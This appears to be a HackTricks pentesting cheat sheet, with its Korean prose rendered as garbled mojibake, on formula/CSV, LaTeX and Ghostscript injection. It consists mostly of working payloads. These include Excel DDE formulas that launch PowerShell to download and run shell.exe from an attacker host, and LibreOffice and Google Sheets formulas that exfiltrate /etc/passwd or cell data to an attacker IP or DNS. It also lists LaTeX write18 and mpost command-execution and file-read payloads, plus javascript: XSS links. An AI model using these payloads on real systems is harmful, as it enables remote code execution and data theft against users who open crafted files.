Formula/CSV/Doc/LaTeX/GhostScript Injection
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
Formula Injection
Info
λ§μ½ λΉμ μ μ λ ₯μ΄ CSV νμΌ(λλ μλ§λ Excelλ‘ μ΄λ¦΄ λ€λ₯Έ νμΌ) μμ λ°μλκ³ μλ€λ©΄, μ¬μ©μκ° νμΌμ μ΄κ±°λ Excel μνΈ μμ λ§ν¬λ₯Ό ν΄λ¦ν λ μ€νλ Excel μμμ μ½μ ν μ μμμ§λ λͺ¨λ¦ λλ€.
Caution
μμ¦ Excelμ μΈλΆμμ λ‘λλ λ΄μ©μ λν΄ (μ¬λ¬ λ²) μ¬μ©μμκ² κ²½κ³ νμ¬ μ μμ μΈ νλμ λ°©μ§ν©λλ€. λ°λΌμ μ΅μ’ νμ΄λ‘λμ λν΄ μ¬ν 곡νμ νΉλ³ν λ Έλ ₯μ΄ νμν©λλ€.
Wordlist
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink
λ€μ μμλ μ΅μ’ μμ μνΈμμ μ½ν μΈ λ₯Ό μ μΆνκ³ μμμ μμΉμ μμ²μ μννλ λ° λ§€μ° μ μ©ν©λλ€. κ·Έλ¬λ μ¬μ©μκ° λ§ν¬λ₯Ό ν΄λ¦νκ³ κ²½κ³ λ©μμ§λ₯Ό μλ½ν΄μΌ ν©λλ€.
λ€μ μμλ https://payatu.com/csv-injection-basic-to-exploitμμ κ°μ Έμ¨ κ²μ λλ€.
νμ κΈ°λ‘ κ΄λ¦¬ μμ€ν μμ 보μ μΉ¨ν΄κ° CSV μΈμ μ 곡격μ ν΅ν΄ μ μ©λλ μν©μ μμν΄ λ³΄μμμ€. 곡격μμ μ£Όμ μλλ νμ μΈλΆ μ 보λ₯Ό κ΄λ¦¬νλ κ΅μ¬κ° μ¬μ©νλ μμ€ν μ μμμν€λ κ²μ λλ€. μ΄ λ°©λ²μ 곡격μκ° νμ μΈλΆ μ 보λ₯Ό μν νλμ ν΄λ‘μ΄ μμμ μ λ ₯νμ¬ μ ν리μΌμ΄μ μ μ μ± νμ΄λ‘λλ₯Ό μ£Όμ νλ κ²μ ν¬ν¨ν©λλ€. 곡격μ λ€μκ³Ό κ°μ΄ μ κ°λ©λλ€:
- μ μ± νμ΄λ‘λ μ£Όμ :
- 곡격μλ νμ μΈλΆ μ 보 μμμ μ μΆνμ§λ§ μ€νλ λμνΈμμ μΌλ°μ μΌλ‘ μ¬μ©λλ μμ(μ:
=HYPERLINK("<malicious_link>","Click here"))μ ν¬ν¨ν©λλ€. - μ΄ μμμ νμ΄νΌλ§ν¬λ₯Ό μμ±νλλ‘ μ€κ³λμμ§λ§, 곡격μκ° μ μ΄νλ μ μ± μλ²λ₯Ό κ°λ¦¬ν΅λλ€.
- μμλ λ°μ΄ν° λ΄λ³΄λ΄κΈ°:
- κ΅μ¬λ μμμ΄ λ°μν κ²μ μμ§ λͺ»νκ³ μ ν리μΌμ΄μ μ κΈ°λ₯μ μ¬μ©νμ¬ λ°μ΄ν°λ₯Ό CSV νμΌλ‘ λ΄λ³΄λ λλ€.
- CSV νμΌμ μ΄λ©΄ μ¬μ ν μ μ± νμ΄λ‘λκ° ν¬ν¨λμ΄ μμ΅λλ€. μ΄ νμ΄λ‘λλ μ€νλ λμνΈμμ ν΄λ¦ κ°λ₯ν νμ΄νΌλ§ν¬λ‘ λνλ©λλ€.
- 곡격 μ λ°:
- κ΅μ¬λ νμ΄νΌλ§ν¬λ₯Ό ν΄λ¦νμ¬ νμ μΈλΆ μ 보μ ν©λ²μ μΈ λΆλΆμ΄λΌκ³ λ―Ώμ΅λλ€.
- ν΄λ¦νλ©΄ λ―Όκ°ν λ°μ΄ν°(μ€νλ λμνΈμ μΈλΆ μ 보 λλ κ΅μ¬μ μ»΄ν¨ν°μμ ν¬ν¨λ μ μμ)κ° κ³΅κ²©μμ μλ²λ‘ μ μ‘λ©λλ€.
- λ°μ΄ν° κΈ°λ‘:
- 곡격μμ μλ²λ κ΅μ¬μ μ»΄ν¨ν°μμ μ μ‘λ λ―Όκ°ν λ°μ΄ν°λ₯Ό μμ νκ³ κΈ°λ‘ν©λλ€.
- 곡격μλ μ΄ λ°μ΄ν°λ₯Ό λ€μν μ μμ μΈ λͺ©μ μΌλ‘ μ¬μ©ν μ μμΌλ©°, νμκ³Ό κΈ°κ΄μ νλΌμ΄λ²μ λ° λ³΄μμ λμ± μμμν¬ μ μμ΅λλ€.
RCE
μμΈν λ΄μ©μ μλ³Έ κ²μλ¬Ό μ νμΈνμμμ€.
νΉμ ꡬμ±μ΄λ μ΄μ λ²μ μ Excelμμλ μμμ λͺ λ Ήμ μ€ννκΈ° μν΄ λμ λ°μ΄ν° κ΅ν(DDE)μ΄λΌλ κΈ°λ₯μ μ μ©ν μ μμ΅λλ€. μ΄λ₯Ό νμ©νκΈ° μν΄μλ λ€μ μ€μ μ νμ±νν΄μΌ ν©λλ€:
- νμΌ β μ΅μ β μ λ’° μΌν° β μ λ’° μΌν° μ€μ β μΈλΆ μ½ν μΈ λ‘ μ΄λνμ¬ λμ λ°μ΄ν° κ΅ν μλ² μμμ νμ±νν©λλ€.
μ μ± νμ΄λ‘λκ° ν¬ν¨λ μ€νλ λμνΈλ₯Ό μ΄λ©΄(μ¬μ©μκ° κ²½κ³ λ₯Ό μλ½νλ κ²½μ°) νμ΄λ‘λκ° μ€νλ©λλ€. μλ₯Ό λ€μ΄, κ³μ°κΈ° μ ν리μΌμ΄μ μ μ€ννκΈ° μν νμ΄λ‘λλ λ€μκ³Ό κ°μ΅λλ€:
=cmd|' /C calc'!xxx
μΆκ° λͺ λ Ήλ μ€νν μ μμΌλ©°, μλ₯Ό λ€μ΄ PowerShellμ μ¬μ©νμ¬ νμΌμ λ€μ΄λ‘λνκ³ μ€νν μ μμ΅λλ€:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calcλ λ‘컬 νμΌμ μ½κ³ λ°μ΄ν°λ₯Ό μ μΆνλ λ° μ¬μ©ν μ μμ΅λλ€. λ€μμ λͺ κ°μ§ λ°©λ²μ λλ€:
- λ‘컬
/etc/passwdνμΌμ 첫 λ²μ§Έ μ€ μ½κΈ°:='file:///etc/passwd'#$passwd.A1 - μ½μ λ°μ΄ν°λ₯Ό 곡격μκ° μ μ΄νλ μλ²λ‘ μ μΆνκΈ°:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1))) - μ¬λ¬ μ€ μ μΆνκΈ°:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2))) - DNS μ μΆ (μ½μ λ°μ΄ν°λ₯Ό 곡격μκ° μ μ΄νλ DNS μλ²λ‘ DNS μΏΌλ¦¬λ‘ μ μ‘νκΈ°):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheetsλ OOB λ°μ΄ν° μ μΆμ μν΄ μ μ©λ μ μλ κΈ°λ₯μ μ 곡ν©λλ€:
- CONCATENATE: λ¬Έμμ΄μ ν¨κ» μΆκ°ν©λλ€ -
=CONCATENATE(A2:E2) - IMPORTXML: ꡬ쑰νλ λ°μ΄ν° μ νμμ λ°μ΄ν°λ₯Ό κ°μ Έμ΅λλ€ -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10") - IMPORTFEED: RSS λλ ATOM νΌλλ₯Ό κ°μ Έμ΅λλ€ -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2))) - IMPORTHTML: HTML ν
μ΄λΈ λλ λͺ©λ‘μμ λ°μ΄ν°λ₯Ό κ°μ Έμ΅λλ€ -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1) - IMPORTRANGE: λ€λ₯Έ μ€νλ λμνΈμμ μ
λ²μλ₯Ό κ°μ Έμ΅λλ€ -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2") - IMAGE: μ
μ μ΄λ―Έμ§λ₯Ό μ½μ
ν©λλ€ -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
LaTeX Injection
μΌλ°μ μΌλ‘ μΈν°λ·μμ LaTeX μ½λλ₯Ό PDFλ‘ λ³ννλ μλ²λ **pdflatex**λ₯Ό μ¬μ©ν©λλ€.
μ΄ νλ‘κ·Έλ¨μ λͺ
λ Ή μ€νμ (νμ©)νμ§ μκΈ° μν΄ 3κ°μ§ μ£Όμ μμ±μ μ¬μ©ν©λλ€:
--no-shell-escape:texmf.cnfνμΌμμ νμ±νλμ΄ μλλΌλ\write18{command}ꡬ문μ λΉνμ±νν©λλ€.--shell-restricted:--shell-escapeμ λμΌνμ§λ§, 미리 μ μλ **λͺ λ Ήμ βμμ νβ μ§ν©μΌλ‘ μ νλ©λλ€ (**Ubuntu 16.04μμλ λͺ©λ‘μ΄/usr/share/texmf/web2c/texmf.cnfμ μμ΅λλ€).--shell-escape:\write18{command}ꡬ문μ νμ±νν©λλ€. λͺ λ Ήμ μ΄λ€ μ Έ λͺ λ Ήμ΄λ λ μ μμ΅λλ€. μ΄ κ΅¬λ¬Έμ 보μμμ μ΄μ λ‘ μΌλ°μ μΌλ‘ νμ©λμ§ μμ΅λλ€.
κ·Έλ¬λ λͺ
λ Ήμ μ€ννλ λ€λ₯Έ λ°©λ²μ΄ μμΌλ―λ‘ RCEλ₯Ό νΌνκΈ° μν΄ --shell-restrictedλ₯Ό μ¬μ©νλ κ²μ΄ λ§€μ° μ€μν©λλ€.
Read file
μ£Όμ μ [ λλ $μ κ°μ λνΌλ‘ μ‘°μ ν΄μΌ ν μλ μμ΅λλ€.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
λ¨μΌ λΌμΈ νμΌ μ½κΈ°
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
μ¬λ¬ μ€ νμΌ μ½κΈ°
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
νμΌ μ°κΈ°
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Command execution
λͺ λ Ήμ μ λ ₯μ stdinμΌλ‘ 리λλ μ λλ©°, μ΄λ₯Ό μ»κΈ° μν΄ μμ νμΌμ μ¬μ©νμμμ€.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
LaTex μ€λ₯κ° λ°μνλ©΄, μλͺ»λ λ¬Έμκ° μλ κ²°κ³Όλ₯Ό μ»κΈ° μν΄ base64λ₯Ό μ¬μ©νλ κ²μ κ³ λ €νμΈμ.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
From @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript Injection
νμΈ https://blog.redteam-pentesting.de/2023/ghostscript-overview/
References
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


